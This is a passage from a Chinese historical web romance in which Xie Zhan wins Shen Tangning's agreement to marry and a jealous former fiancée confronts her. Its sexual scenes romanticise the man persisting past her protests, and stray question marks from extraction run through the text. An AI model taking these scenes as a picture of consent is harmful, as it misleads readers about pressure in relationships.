如果不是因为他没能及时阻止隆德帝的赐婚,她也不会离开顺德,被?宗瑁有了可乘之机。 更不会因为他而遭到宗缙记恨,落到他的手里。 说到底,是他没能保护好她。 担心她在太原宫中受到了宗瑁父子的凌辱,他只能对?此?事绝口不提,却没想到这根刺依旧深深地扎进了她的心里。 “只要有我在,以后没有任何人敢再诋毁欺负你。”谢瞻说道?。 他漆黑的凤眼?里,是那么地坚定,这种被?坚定地选择,信任的感觉,令沈棠宁心和眼?眶一阵阵地发热,发烫。 她别?开眼?睛,颤声道?:“可以我的家?世,名声,根本就?配不上你,就?算你不愿尚主,也该娶豪门?贵女为妻,不要为了我耽误前程。” 如果没有遇见你,也许我这一辈子也回和爹娘一样,稀里糊涂地尚了公主,娶了世家?贵女。 这辈子做过最疯狂的事,便是为了你抗旨不娶公主。 但我不后悔。 谢瞻忽然说道?:“今上御极,我父亲有从龙之功,简在帝心,我的姑姑端淑贞静,在今上登基的第一年便成为了母仪天下的皇后,从此?宠冠六宫,谢家?恩宠无人能及。” “可自从姑姑去世之后,陛下对?谢家?等世家?贵族猜忌日甚,大肆提拔寒族,重用蕃将,如今的镇国公府不过是烈火烹油,鲜花着锦。” 他抚摸着沈棠宁披散在身后的柔顺长发,轻声叹道?:“宁宁,功高盖主,兔死狗烹!宗张叛乱,我接连收复河北山陕等地,居功甚伟,这样的功勋,陛下可给予一时赏赐,倘若我因此?尚主,谢家?已经出了一个孝懿皇后,再娶金枝玉叶,做了睿王姻亲,岂非成了君王眼?中之钉?” “那怎么办,你和公爹会不会有危险?”沈棠宁不禁担忧地道?。 “所以宁宁,我更加不能娶公主了,何况我并不觉得,你配不上我。” 谢瞻看着沈棠宁的眼?睛,“宁宁,在我眼?里,你秉性纯良,孝顺,温柔,善解人意,你……是一个很?好很?好的人,若你愿意与我结为夫妻,我向你发誓今后一生?一世定会一心一意待你,我们一起将圆儿抚养长大,好不好?” 她,真有他说的这样好吗? 沈棠宁咬着唇,“我,我……” “宁宁,你还在犹豫什么,难道?你真的讨厌我吗?” 见她始终支支吾吾,谢瞻脸色一变,似乎有些着急,凑近了她端详着她的脸。 沈棠宁脸更红了,浓长的睫毛乱颤,头垂得愈发低,不敢抬眼?看他。 谢瞻也不敢逼她太急,深吸一口气,只好道?:“无妨,团儿,我给你时间考虑。昨日我收到秦王殿下的来信,他有些事,估摸要两三天才?能赶回来,明日一早你不必走了,就?慢慢考虑这事吧,两……三日后我等你的答复。” 他这人,明明说要给她时间考虑,可是每一句话里又都充满了命令的口吻,帮她做好了决定。 不过,他不再凑她那么近了,沈棠宁松了一口气。 忽地窗外又是电闪雷鸣,赤白的光闪得整个屋子都亮堂了起来,轰隆隆巨响劈头而来,吓得沈棠宁吓得尖叫一声,忙又钻进了谢瞻的怀里。 …… 清晨,下起了绵绵细雨。 锦书和韶音在门?口探头探脑。 “嘎吱”一声,门?开了,谢瞻从里面整治着衣服走出来。 二婢连忙各自站好,眼?观鼻鼻观心。 “姑娘,咱们不走了?”韶音一面给沈棠宁梳头,一面好奇问道?。 锦书笑道?:“那还用说,昨夜世子爷都留宿了……不对?不对?,是不是马上又要改口叫姑爷呀?” “锦书!”沈棠宁恼道?:“昨夜打?雷,我……我是一时害怕,他才?留下的,什么都没发生?,你别?浑说!” “好好好,是奴婢胡说啦!” 事实便是,昨夜沈棠宁做了噩梦,半夜三更雷一阵雨一阵,她话本子看多了,从小就?怕鬼,被?吓得魂儿都丢到了东洋大海,抱着谢瞻不敢松手,和他确实规规矩矩躺在被?窝里睡了半夜。 然而这事如今后悔也不管用了,这两个丫头显然都误会昨夜她与谢瞻发生?了什么。 晌午沈棠宁在用饭,谢瞻从衙门?里打?发了个小厮回来。 “请夫人的安,小人是爷身边侍候的小厮报儿。” 韶音认得报儿,自从长忠跟了沈棠宁以后,报儿就?时常跟在谢瞻身边传声递信。 韶音笑盈盈道?:“小报儿,是你,你怎的回家?了,可是世子爷回来了?咦,你手里还拿着朵花儿?” 沈棠宁向帘下的报儿手中看去,果见报儿手中捧着一朵娇滴滴开得正盛的蔷薇花。 报儿嘿嘿笑道?:“韶音姐姐,正是我。这花是爷在衙门?后院里摘的,开得正是好呢,让小的送回来给夫人。爷还命小人替他向您传一句话,爷问夫人昨夜同您商量的那事您考虑好了没?” 夜晚,沈棠宁坐在窗边,入神地看着插在白釉瓷瓶中的三枝蔷薇花。 这三日,每天谢瞻都会命报儿来给她送一枝蔷薇花,末了还要问一句她:那天咱俩商量的事情?你到底想好了没? 晚上到这里的时候,却跟个没事儿人似的,和她吃一顿晚饭,说几句话,人便走了,绝口不提那天晚上的事情?。 今天,是第三天。 沈棠宁有预感,这可能是谢瞻给她的最后一天期限了。 她不由?地心烦意乱,看了看夜色,月上中天,上弦月。这么晚了,傍晚的时候报儿回来说,谢瞻在衙门?里有事耽搁了,他今晚应该是不会来了吧? 一更的梆子悠悠响起来的时候,谢瞻还没过来,沈棠宁心里反而松了口气。 她收了针指,让外面落了锁,锦书和韶音进来帮她拆了发髻,准备洗漱歇息。 极不巧的是,就?在沈棠宁洗完澡,在镜台前擦着头发准备睡下的时候,谢瞻偏在这时候回来了。 听到院门?外响起的问候声和开锁声,沈棠宁一呆 立即关门?熄灯,告诉谢瞻她睡下了? 不成,她又不是不知?道?谢瞻的为人,他没什么分寸感,若想知?道?答案,她睡下了他也得闯进来将她弄醒。 那怎么办? 沈棠宁心慌意乱。她看着镜中的自己,一头长发半干不湿,身上只着中衣,脸蛋和唇色都略有些苍白…… 她理了理鬓角,又赶紧去翻找妆奁中的唇脂,想着遮掩下苍白的脸色,又忽地想到这大半夜她准备睡下了还涂唇脂,被?他看出来岂不是要笑话她? 手中的唇脂一时放也不是,涂也不是,正在犹豫着,就?听门?外锦书拦着道?:“世子,我们姑娘睡下了……” “宁宁,你睡了?我进来了。” 谢瞻果真充耳不闻,径直推门?进来了,三两步就?走进了内室,隔着纱帘见沈棠宁站在镜台前,散着一头乌黑油亮的长发,肌肤雪白,犹如清水芙蓉的模样,眼?中一亮。 “你先别?进来!”沈棠宁忙退后两步,挡住自己的脸道?:“我都洗漱过了,不便见人,你就?在外面坐罢。” 洗漱过,就?不能见人了? 谢瞻疑惑,却仍是收回脚,在明间坐下了。 “宁宁,那天晚上我问你的话,你考虑好了没有?” “我,我……” 她这半含半吐的口气,说得依旧很?犹豫。 在?*沈棠宁看来,结发为夫妻,恩爱两不疑,谢瞻娶她倘若只是因为她是个还不错的妻子,这与她嫁人时的初衷背道?而驰。 她总觉得,谢瞻娶她是可怜她罢了。 这让她有点儿无法接受。 谢瞻听她还在“你你我我”,再忍不了了,这么一句话的事儿,她怎么能想这么多天都想不明白! 不成,是死是活他今晚非得让她给自己个痛快交代! 谢瞻这人素来是个雷厉风行,杀伐果断的性子,他平生?花费最多的耐心大约便是在沈棠宁身上了。 见她还是这副优柔寡断的模样儿,当机立断,腾得就?站起来,直接掀帘进来,走到沈棠宁面前一把握住她的肩膀。 “你还要想到几时,三天的时间还不够?我就?问你一句话,宁宁,你讨不讨厌我?” 他严肃认真地看着她,仿佛和她讨论的不是这种令人尴尬的问题,而是某个作战计划。 沈棠宁心里却天人交战,唇瓣都要咬破了也说不出来那话。 其实,她心中如今不仅不讨厌谢瞻,也许……也许还怀着一些她自己不敢去深想的情?愫。 可是就?算她不讨厌谢瞻,谢瞻也不讨厌她,便能结为夫妻了吗? 没料到谢瞻突然就?闯了进来,到她面前将她从位置上薅起来,登时瞪大一双杏眸,呆住了。 “你讨厌和我亲嘴吗?”他又问。 她岂料他嘴里说的如此?直白,脸更红成了个虾子,谢瞻索性直接俯身吻了过去,趁她呆愣堵住她的唇瓣,那大舌不容她拒绝地长驱而入。 讨不讨厌,亲一下不就?知?道?了。 这无疑是个极聪慧的学生?,即便沈棠宁只教过他一次亲嘴的技巧,他便能学以致用,将她吻得七荤八素,娇吁喘喘。 沈棠宁想推开他,他便紧紧扣住她的腰肢和后脑,不让她逃避分毫。 他的吻既像火一般炽热地燃烧着她,又像风暴雨一般剧烈地席卷着她,逐渐地,沈棠宁腿脚发软,抵在他的胸口的手也是软绵绵地没有了力气。 直过了好一会儿两人才?分开,在唇齿之间拉出一道?晶亮的水丝。 谢瞻低头看去,沈棠宁半伏在他怀中仍在匀气,垂着长长的睫毛,桃颊潮红,莹白的脸庞在灯下散发细瓷般的光泽,唇瓣被?他吮得红润湿亮,这般娇羞的不胜之态,看得人心里酥酥麻麻,一片柔软激荡。 谢瞻忽然想到,适才?他闯进来时她惊讶的脸色,耳根似乎也是羞红一片,慌乱地躲闪着他的目光。 这个念头,令谢瞻的心脏如个少年一般“砰砰”急速跳动了起来。 以前,她分明是十分抗拒他的,适才?他一时冲动和她亲了嘴,她虽然有些抗拒,到后也是妥协了,且现在也没有表现出生?他气的意思?。 这个认知?令谢瞻欣喜若狂:或许沈棠宁对?他并非完全无意,他不应将她逼得太紧,但也绝不能再给她一而再再而三可供敷衍的拖延之期。 他心念一转,立即有了主意。 “你不想说,我便不逼你了。” 他往后退了退,将她鬓边散落的发挽到耳后去。 顿了下,看着窗外皎洁的夜色,心里冒出来一个绝妙的主意。 “宁宁,你可见过处暑夜的月亮?” 今日是处暑。 沈棠宁疑惑,不明白他的意思?,却又不好意思?抬头去看他。 谢瞻就?着这话,拉了沈棠宁的手顺势坐到了窗下的罗汉床上。 “我以前常听人说,处暑这夜的月亮皎洁如玉盘,比既望日的月相还要圆润,今晚我便不回去,我们一起赏月,如何?” 第67章 大晚上的,孤男寡女坐在一处若只是单纯地看月亮,谢瞻的险恶用?心?可见一斑了。 窗前的莲花池中芙蕖开得?正盛,夜凉如水,微风轻拂,送来阵阵荷香。 这原本该是极优美的景色,可惜却是半夜三更,沈棠宁被迫坐在窗下的罗汉床上和谢瞻一起赏月。 她作息一向规律,早起早睡,熬不?了夜,这几日?为了给圆姐儿做衣服才歇得?晚了些,谢瞻硬是拉着她看月亮,说什么这处暑夜的月亮圆如玉盘,皎如明珠,十分好看。 沈棠宁没说过?处暑夜的月亮有什么讲究,只谢瞻形容天花乱坠,她一时好奇,也不?好拒绝他,便答应了。 谁知?在这罗汉床上一坐便是一个?时辰,那月亮还藏在云雾后面不?肯出来。 见她实在有些困顿,谢瞻让她靠在自己的肩膀上先睡着,说待月亮出来了再叫醒她。 沈棠宁便靠在他怀里躺了会儿,开始的时候谢瞻尚算老实,夜风拂在人的脸上,倒不?是很?热,沈棠宁的脸颊却渐渐染上绯色,忽按住她裙摆上的那只大手?。 “阿瞻,你,你再这样,我生气了!”她恼怒地瞪他道。 谢瞻一哂,收回了自己的手?,临了还不?忘偷偷摩挲两下掌下那牛乳般光滑如脂的肌肤。 沈棠宁本以为,她警告过?谢瞻便会收敛一些,直到她迷糊了一会儿的功夫,醒来的时候脚上的绫袜都被人剥了去,光裸裸地被捧在手?里肆意?把玩,男人手?掌上粗糙的茧子,磨得?她脚心?一阵发痒,她大急,忙从床上坐了起来阻止他。 “放开我,阿瞻,你做什么,你快放开……你……呜呜……” 谢瞻松了她的脚丫,却搂着她的腰扑着亲了过?来。 亲她,缠她,耳鬓厮磨,哑着嗓子求她道:“宁宁,我别的什么都不?做,我就?想和你这样抱着亲一会儿,好不?好,宁宁?” 他一遍遍地求她,唇像黏在了她的唇上,怎么也推不?开。 理?智告诉沈棠宁,她不?能这么不?清不?楚地答应他。 可是她想推开谢瞻,手?脚竟又?是那般可恨地软绵绵地无力。 手?抵在他的胸口上,根本不?像推阻,反倒像是欲拒还迎地调情。 谢瞻该不?会是给她下了什么药吧? 她想哭,没有任何的办法,只能像朵被暴风雨摧残的小花一样无助,由他抱在怀里任意?欺负,耳边只剩下他粗重的呼吸。 她羞愧又?无奈地想,或许,亲够了他就?走了吧? …………………………………………………………………… 他目光灼灼地上下打量着,像是在欣赏一件价值连城的珍宝,语气似感叹,又?似极其满意?,话毕,为了表示自己的喜爱,双手?虔诚地捧起来连亲了数口来品鉴,啧啧不?住。 他孟浪挑逗的话语令沈棠宁羞极臊极,忍不?住哭了出来。 “你……你说只亲的,唔……” ……………………………………………………… 谢瞻停了下来,幽幽看着她,忽叹了口气。 “罢了,我知?道你不?情愿了,我不?强迫你,我能忍得?住。” 说罢,背对着她躺了下去,声音闷闷地。 沈棠宁拥着被子坐起来,侧过?身去看他。 黑夜里,男人宽阔的后背上沟壑分明,汗水顺着肌理?下滑,落入被褥之中。 她刚刚明明都看到,他……他已…… “你,你实在想要的话,我,我也愿意?的……” 女人的心?最软了。 他为她忍了那么多次,她怎么忍心?看他憋闷着。 沈棠宁羞得?满脸通红,手?轻轻放在他的肩膀上,小声儿细如蚊呐地说着,话到最后几乎听?不?到声儿。 谢瞻微微侧身。 “你说什么?” “我,我说我愿意?的……” 一语未落娇呼一声。 谢瞻蓦地一个?翻身把她压了下去,捧着她滚烫的脸颊说道:“你再说一遍!宁宁,我听?见了,你刚说你愿意?,嗯,是不?是?” 他抵着她的额头,微微笑着,狭长的凤眼里也隐含着某种温柔晦涩的意?味。 沈棠宁连忙羞惭地闭上眼,不?论他如何逼问,都紧咬着唇一语不?发。 谢瞻自然有法子治她,一面用?一种仿佛要将她啃噬吞吃般的力道深吻着她,一面在她耳旁霸道地道:“我不?管沈团儿,你不?说话,我就?当你默认了!” 风吹过?,终于吹散了乌云,露出将那轮美丽的皎月。 这样美好的夜晚,似乎总要发生一些美好的事才算合理。 月亮、院子、窗棂,在眼前都晃得?厉害。 “美不美,我是不?是,没骗你,嗯?” 沈棠宁不?敢出声,她怕自己一出声,便要被自己的那声音羞愧而死。 她的身体东倒西歪,先是死死地抓着窗沿。后又被他从身后缠绕着双臂整个?儿搂住,下巴也抵在她的颈窝里。 他像使坏一样地掌住着她,在她耳边说一些男女间的私密之语。 她觉得?自己真的要坏了,死了,求他,想逃。 双臂却又?被他从身后紧紧攥住,只能无力而柔弱地哀求着他,因他而求生不?得?,求死不?能。 ……………………………………………………………………………………………………………………………………………………………… 沈棠宁香汗淋漓,面色红润,如被雨露滋润过?的海棠,阖目伏在男人的胸口上平复。 谢瞻缓过?后,从颈间摘下一物,撩开她汗湿的发,亲了亲她的耳垂,将那物轻轻系在她的颈间。 “这是什么?” 她小声问。抚摸着谢瞻系在她颈间的那物,发现是枚玉牌,再仔细一看,上面雕刻的图案是祥云与麒麟。 咦,这是谢瞻曾经给过?她的那块玉牌。 “这块玉牌,当时不?是丢了吗?”她疑惑。 “唔,我又?捡回来了。” 谢瞻的嗓音犹带着几分事后的沙哑,系完了玉佩,他调整了下姿势,让沈棠宁枕着他的胳膊躺,将她重新搂进?怀里。 “这是我娘留给我的遗物,以后便是你的了,你不?许再丢了。” “那不?成,这是你娘留给你的!” 沈棠宁闻言忙要去解,谢瞻却按住她的手?,沉沉笑了起来。 他轻声说:“傻宁宁,这是我娘要我送给她儿媳妇的礼物,我当然不?能留着。” “我不?管,你刚刚既答应了,日?后便不?能再反悔了。” 他捧起她的脸,开口,浓烈的气息避无可避。 四目相对,那双冷峻如霜的凤目深处,此刻满是似水般的柔情,似火般的炽热。 百炼钢化为绕指柔。 她的睫毛颤啊颤,又?羞涩地阖在了一处。 沈棠宁没有说话,原本要解玉牌的手?,却渐渐松了下来。 她睁开眼,鼓起勇气抬起头看他一眼,又?迅速垂下,极轻极轻地“嗯”了一声。 她答应了。 虽然声音极小,谢瞻还是听?到了。 他难以置信地看着她。 她刚刚说什么,她答应了!她真的答应了? 沈棠宁忽地被他拥住,堵着唇儿狠狠亲咬了起来。 直到她觉得?自己要窒息了,呜呜两声表示抗议,谢瞻才放开她。 他抱着她喃喃道:“宁宁,你是我的,以后你是我的了。” …… 翌日?,沈棠宁犯懒,一直在床上睡到日?上三竿。 梳妆时瞧见那镜中的女子双颊红润,眼角眉梢一副春情绵绵,备受滋润的妩媚的模样,连她自己都吓一跳,觉得?不?像自己了,连忙羞耻地别开自己的视线。 而身侧的锦书和韶音,两人一个?个?脸上都是那种心?照不?宣的笑容,她更恨不?得?找个?地洞钻进?去,再也不?把头抬起来。 “他,他什么时候走的?” 她忍不?住问出了今早的第一句话。 锦书担心?调侃太过?,两人都没敢多嘴,笑着答道:“世子一早就?走了,去上衙了,姑娘不?如晚些吃,把午膳一道用?了吧。” 见两人依旧神色如常,沈棠宁才微微松了口气。 “也好。”她说道。 只韶音走过?去收拾罗汉床的时候,她突然想到昨夜与谢瞻在外间那张小床上是如何胡天胡地,几番孟浪,事后似乎忘记清理?了。 此时再叫住韶音已是来不?及,韶音见那床中央的海棠雕漆如意?小方桌不?知?是被谁掀了丢到一边的地上,床上铺着的一套石青色褥席被揉成一团,打开褥席,里面还有两只沈棠宁的白绫袜。 她轻咳了一声,瞅向沈棠宁嘀咕道:“这袜子怎跑在这儿了……” 沈棠宁再坐不?下去,借口出去散步逃之夭夭。 到午时她在屋里将收拾好的包裹一一归置,冷不?防身后蹑手?蹑足走来一人,将她从身后一把搂住,对着她的脸蛋就?重重亲了一口。 沈棠宁唬了一跳,尖叫一声,谢瞻赶紧摁住她道:“是我,宁宁,我回来了。” 沈棠宁后背吓出一身冷汗,她哪里想到谢瞻晌午会回家,以前晌午他可从没回来过?,在后面抱她那一下,她还以为是什么歹人闯了进?来要轻薄她! “你吓死我了!”她气恼地嗔道。 她嘴里说着恼怒的话儿,听?起来非但?不?叫人觉得?她是在生气,反而有点娇滴滴的撒娇意?味。 话说出来,她自己似乎也觉察到了,红了脸垂着头一语不?发。 她垂着长长的睫毛,侧着的脸琼鼻挺翘,两片唇红艳艳的,略有些肿润,谢瞻知?道,那是被他吮出来的。 光是这样看着他便心?痒难耐,心?神荡漾,想到昨夜她那一管鹂喉,哭叫起来时娇啼声声,也是这般酥媚入骨。 “乖宁宁,想我了没有?”他哑着声,一面盯着她通红的耳根说。 ……………………………………………………… 锦书听?着屋里没有动静,端着茶走进?来,隐约听?到里屋有悉悉索索奇怪的声音。 她红着脸走到帘下,假装向里面瞅了一眼。 就?一眼,又?是臊得?瞪大了眼。 女孩儿星眸半阖,满面通红,这般境地下她还在捂着自己露出的半截酥肩,看神情显然是极其慌张羞臊的。 然而这衣衫半褪不?褪,挂在身上任人欺负的模样儿,分明她还是含羞带怯的,反倒为她增添了一股难言的妖娆妩媚,撩拨得?人心?痒难耐,恨不?得?立即扑上去去狠狠欺负她,将她欺负哭。 眼前这活色生香的一幕看得?锦书脸红心?跳,忙急急退了出去,顺道给两人栓上门,赶走四周其它的丫鬟,悄悄走了。 谢瞻急不?可待将沈棠宁半搂到了床上,只觉怀中的人儿柔若无骨,浑身上下无一处柔美,真个?尤物,真恨不?得?让人将她揉成团吃进?腹中去。 两人闹了一阵子,沈棠宁细细喘着,逐渐招架不?住,笑着抵住他求道:“别闹了……阿瞻,要吃饭了。” 谢瞻松了她的脚丫,又?捉住她的手?,在手?里来回摩挲端详。 沈棠宁手?脚都生得?极纤瘦柔软,在他大掌中盈盈一握,谢瞻来回翻看,爱不?释手?,低头亲了一口她的手?指,那纤纤葱指害羞一缩,便要收回去。 谢瞻亲着她的手?指,开始的时候沈棠宁只觉得?有些痒,想笑。 慢慢他的吻顺着她的手?背一路往上,挽起她的衣袖,亲过?她的手?腕,小臂…… 亲一口,抬脸目光炯炯地看她一眼。 被他亲过?的地方,酥酥麻麻,尤其是他看她时,幽黑的凤眼里滚烫晦暗的温度…… 沈棠宁脸上刚消散的温度又?迅涌了上来,心?跳“砰砰”加速,不?敢去看他。 “好了。” 她颤声说,想阻止他,谢瞻最后亲了一口她的樱唇,搂着她低低地诱哄道:“其它的地方,是不?是也这么白?给我看看?” 沈棠宁忙捂住衣摆,支支吾吾道:“不?是,别看了……” “给我看看。” “不?要了,现在是白天,阿瞻……好哥哥,求求你!” 谢瞻发誓道:“给我看看,我就?看两眼!” 男人的嘴,骗人的鬼。昨夜他也说只是抱着她亲一会儿,结果却将她直接剥皮拆骨,吃入了腹中。 奈何沈棠宁的力气和谢瞻比起来就?是一个?天上一个?地下,徒劳无功。 大白天的,被他迫着那样直勾勾地盯着,沈棠宁一时险些羞晕过?去。 “别看,阿瞻,别,拉上帐子吧……”她最后哀求。 谢瞻只觉浑身翻涌的血脉都要炸裂。 他将那帐子草草一拉,忍着想用?力挞.伐她的念头,附在她耳旁道:“宁宁,你知?道今早我一直在想什么?” 这一早上,他脑子里全是她昨夜的模样儿…… 他想想也便罢了,还一五一十地把感受直白地说给沈棠宁听?,沈棠宁大窘,急忙去捂住他的嘴。 紧接着,从帐中接连丢出来他的外袍和垮裤,以及她葱绿色的秀牡丹花色的肚兜儿。 谢瞻先前憋得?太久,便如王氏所说,他正是血气方刚的年?纪,枕边躺着心?心?念念许久的女子,哪里忍得?住,一经开荤就?像匹饿了许久的狼般凶狠兴奋。 那帐中美妙的声音持续了约莫半个?时辰才逐渐停歇。 事毕,谢瞻已全然沉溺在温柔乡中,记不?起来还吃没吃饭了,见怀中妻子一副懒懒的不?胜之态,似乎还有些恼恨他的孟浪,不?大爱搭理?他,他自然是诚恳认错,抱在怀中又?亲又?哄。 至于下次还会不?会再犯,那就?不?能保证啦- 隔日?,秦王路过?平凉,想到谢瞻曾去信给他说有一事相求。 秦王兴致冲冲地过?去了。 谢瞻在城门口亲自迎接他,请他去家中吃酒,为他践行。 秦王受宠若惊,见他似乎和平日?不?大一样,眼角眉梢的笑意?藏都藏不?住,颇为诧异,实在忍不?住,席间询问道:“临远,你今日?如此欢欣,莫非是遇上了大喜事?” 经过?榆林和谈之后,秦王与谢瞻的关系亲近了不?少,平日?以字相称。 谢瞻轻咳一声,嘴角的弧度硬是被他给压下去了。 “殿下尝尝这道芋煨白菜。” 秦王笑道:“都是自家人,嫂夫人既在,何不?邀她一道同饮?我素听?闻嫂夫人是个?风雅之人。” “她不?过?是识得?几个?字,会画几幅画,弹几首不?成调的曲子罢了。” 嘴上说着,却指向一面墙上装裱精美的画,“这就?是她画的什么山水图,那日?我们乘船路过?沂河时所作,看她在外面坐了一天就?完成了。” 他面有得?色,听?得?秦王嘴角一抽。 秦王欣赏片刻,深以为然道:“这画远处的山墨色极淡,近处的山层峦叠嶂,浓墨重彩,水上几叶渔家扁舟轻卷,水与天的相连之处,似有朦胧云雾缠绕。这恰到好处的留白,宛如令人置身于仙山云海之间,没个?五六日?我可还不?完,真没想到嫂夫人的笔触如此婉约秀美!” 沈棠宁未出阁时是公认的京都第一美人,秦王盛闻其名,遗憾未曾见过?真人。 在榆林时得?知?谢瞻身边那形影不?离的小丫鬟便是沈棠宁后,秦王才觉得?这京都第一美人的名号落在沈棠宁身上当真是实至名归。 人人都道她是美人,秦王却觉得?她是将门无虎女。 他很?佩服沈棠宁面对察兰汗妃与契国高?官执失伯都时都端庄大方,不?卑不?亢的气度。 自古男人桑弧蓬矢,女子却被规定不?出闺阁,能跟随丈夫到前线的女子都乃女中豪杰也,秦王十分欣赏沈棠宁,言谈之间便极近赞美,盛情邀请沈棠宁出来一叙。 谢瞻的笑容,就?也渐渐没初时的那般真诚了。 “她早用?完了,殿下不?必管她。”他淡淡地说,转而谈起了契国内政。 秦王果然被转移了注意?力,没再问起沈棠宁。 …… 沈棠宁初到平凉之前,谢瞻把自己住的上房让给她住,自己搬到了上房斜后方的一间小院。 两人和好之后,谢瞻第二日?就?又?搬回了上房和沈棠宁一起住。 转眼就?入了七月底,金桂飘香。沈棠宁没提要回京都,谢瞻也不?愿她走,便是晌午只有半个?时辰休息的功夫,他都要回府来陪沈棠宁一道吃饭午休,等她歇下睡着了再悄悄离开。 早晨离开前两人搂着温存了一会儿,直到报儿来催促了三回时辰才将他送走。 谢瞻走后,沈棠宁命长忠备了马,准备出去逛逛街。 说来惭愧,做了谢家快三年?的媳妇,给他做的衣服却屈指可数,眼看着快要八月十五中秋,她想给谢瞻扯匹布做两套新衣服。 布匹选好后,沈棠宁坐了车又?在街市逛了会儿,买些寻常日?用?之物。 “夫人您看,那人好生眼熟?”韶音忽指着前头一人道。 因不?在京都城,私底下众人便都称沈棠宁为夫人了。 沈棠宁顺着韶音的目光看去,看清那人时,一怔。 喧嚷的人群之中,一个?十八九岁的美貌少妇携着丫鬟从刚刚他们逛过?的绸缎庄中出来。 少妇穿着件浅粉色云纹妆花褙子,下着一条桃粉色织金金丝裙,她转过?身来时沈棠宁终于看清楚了她的脸: 容长脸,细眉水眸,雪肤乌发,艳若桃李,周身都散发着贵气,被丫鬟扶着上了马车。 “她怎会在此处?”韶音惊愕道。 锦书反应最快,低声道:“夫人,奴婢跟去看看。”便要跟去。 沈棠宁沉默片刻,叫住锦书道:“等等,”顿了顿,又?道;“不?必了。” “夫人?”锦书不?解道:“我们只是跟去看看,又?不?做什么。” 沈棠宁打定了注意?,垂目道:“不?必了,回去罢。” 她走到马车前,预备打道回府,不?曾想尚未上车,那前面的一辆翠幄清油车却径自朝着沈棠宁驶了过?来。 “许久不?见,去我府中吃杯茶?” 常令瑶掀开帏帘。 四目相对,她黛眉微挑,对沈棠宁笑道。 第68章 常令瑶如今的府邸就在离沈棠宁与谢瞻所住的节度使府不远处,隔着两条街的棋盘巷子里。 房内,常令瑶的丫鬟给沈棠宁倒了?一盏茶。 “阿瞻听说我来了?,十分?欢喜,特特将我安置在此处,平日里不论是去逛街还是医馆、酒楼都极方?便?,我原以为?你?晓得,没想到阿瞻竟是没告诉过你?吗?” 常令瑶扬眉看着沈棠宁,眼中闪着得意与挑衅。 沈棠宁垂目道:“不知县主远道而来,是我有失远迎。” “我何必要你?来迎我?我常令瑶堂堂永宜县主,若不是因为?你?和你?腹中的那个孽种,我也不会?和阿瞻分?开,被我祖父嫁给薛文廷那个短命鬼!” 沈棠宁一惊。 薛文廷死了??! 薛文廷是四川布政使薛嵩之?子,常令瑶的表哥,也是常令瑶的祖父常俭亲自为?她挑选的夫婿。 在沈棠宁嫁给谢瞻后不久,常令瑶也嫁给了?薛文廷,并随薛文廷去四川赴任。 宗张之?乱,祸不及四川等地?,薛文廷年纪轻轻怎会?早逝? “很意外是吧?” 常令瑶扯了?扯唇,“他自幼起便?悦慕我,听闻我与二郎退婚,主动?来向我祖父求亲,我嫁他两年里,事事不必我躬亲,待我极好。” “本以为?我会?为?他忘了?二郎,何曾想他待我好又如何,不过是个短命鬼!宗瑁那逆贼打到陕西,他一个自不量力?的书生去抗敌支援,那时我哭着求他不要去,果不其然,他还是死在了?宗瑁逆贼的手下!” 说至此处,常令瑶眼中隐有泪意。 她深吸口气,揩去眼角的泪,冷笑道:“死便?死了?,我不会?记得他半分?好,你?也不必用那种怜悯的眼神来看我——我讨厌你?,沈棠宁,是你?抢走了?我的一切,如果不是因为?你?,三镇节度使夫人,镇国公世子夫人的位置应该我是常令瑶!” 沈棠宁说道:“你?青春丧夫,我的确同情你?的遭遇,但你?的位置不是我抢走的,在没有嫁给阿瞻之?前,我也有未婚夫。” 两人话不投机,沈棠宁不想多耽,起身告辞。 常令瑶也随之?起身,叫住她道:“站住!怎么,你?怕了??沈棠宁,你?怕再坐下去会?从?我口中知道,你?的夫君如今待我是多么地?旧情难忘,得知我丧夫后特意将我从?四川接到平凉,又求我留下陪他?” 沈棠宁衣袖被她拽住,脱身不得,耳边又被她说着挑衅的话,泥人尚有三分?土性,便?是再好的脾气也不由愠怒起来。 “放手!” 她奋力?一挣,从?脖颈间衣物间掉出一物坠在胸前,那常令瑶看了?一眼,蓦地?怔住,由她挣脱出去。 沈棠宁转身急急要走,忽又被常令瑶扯住,抓起她胸口的那枚麒麟玉牌瞪大?双眼看。 “这是什么,这枚玉牌怎么会?在你?身上?”她尖声质问。 “这是阿瞻给我的……” “放屁!定是你?从?二郎身上偷来的,你?还给我,还给我!” 这枚玉牌乃谢瞻的贴身之?物,他从?小带到大?,常令瑶曾见过无数次他对这枚玉牌细心擦拭呵护,故幼时多次向他撒娇索要,以做定情之?物,无一例外都遭谢瞻断然拒绝。 那时她也是执拗,痰迷了?心窍,谢瞻越不想给她,她越发?觉得这玉牌重?要。 她是他的未婚妻子,日后便?是他的妻子,是他最重?要的女人,既然如此,为?何他不能送予她? 甚至在她最后一次索要时,他仍不愿给,她便?气不过悄悄在他更衣时顺走,为?此触怒了?他,与他吵得天翻地?覆。 也是那一次,常令瑶终于得知那玉牌是谢瞻的母亲留给他唯一的遗物,为?此他才珍之?重?之?,视若珍宝。 事后她当?真是悔恨交加,若不是后来孝懿皇后出来发?话,命他原谅她的一时无知,恐怕谢瞻现在也不肯再理会?她。 这枚玉牌当?年她苦求不得,如今却戴在了?她最厌恶的情敌身上,常令瑶岂能不恨,霎时双目赤红,宛如疯癫一般扑上来抢夺。 锦书与韶音等人,以及常令瑶丫鬟红芍见状都急忙上前来拉,一番撕扯才将两人彻底分?开。 想到昨日青梅竹马不懂事,如今又青春丧夫的自己,常令瑶一时悲恸不已,坐倒在地?上哇哇痛哭了?起来。 常令瑶的凄厉哭声,一直到回家之?后仍在沈棠宁脑海中挥之?不去。 说实话,她不喜常令瑶那高高在上的姿态,以及,她言语之间总在责怪是她抢走了谢瞻。 但一个女子在婚前突遭变故,与心爱之?人被家人强行分?开,本以为?嫁得如意郎君,却青春守寡,永失所爱。 这放在任何一个女子身上,都是生命不能承受的沉重?。 或许正是因为?如此,让她产生了?同类相悲之?感?。 她甚至不敢想象,如果一切是发?生在她的身上,她会?如何。 锦书见她神情有异,一副魂不守舍的样子,心知自家姑娘心肠最为?柔软,多愁善感?,连那海棠花谢了都难过地一天吃不进去饭,以为?她是为?了?常令瑶自责,忍不住劝说道:“今日一切,实属天灾人祸,她命不好,千般怨怼,也不该怪到姑娘身上来。” 沈棠宁沉默。 锦书又说道:“我看她就是成?心挑拨离间,见不得您和姑爷蜜里调油得好,姑娘您千万别放在心上,她非要赖在平凉,难不成?姑爷还能将她赶走了??” 